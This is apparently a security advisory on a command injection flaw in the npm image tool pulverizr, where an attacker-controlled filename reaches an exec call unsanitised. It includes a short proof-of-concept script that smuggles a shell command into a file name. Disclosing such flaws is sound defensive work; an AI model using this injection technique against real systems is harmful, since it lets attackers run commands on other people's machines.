Command Injection

pulverizr is a to smash your images down to size.

Affected versions of this package are vulnerable to Command Injection. Within lib/job.js, the variable filename can be controlled by the attacker. This function uses the variable filename to construct the argument of the exec call without any sanitization.

In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.


var root = require("pulverizr");
var fs = require("fs");
var attack_code = "touch Song";

var injection_code = "\"&" + attack_code + "&\"a.jpg"
var inputs = [injection_code]
fs.writeFile(injection_code, "123", function(){});

var job = root.createJob(inputs, {});
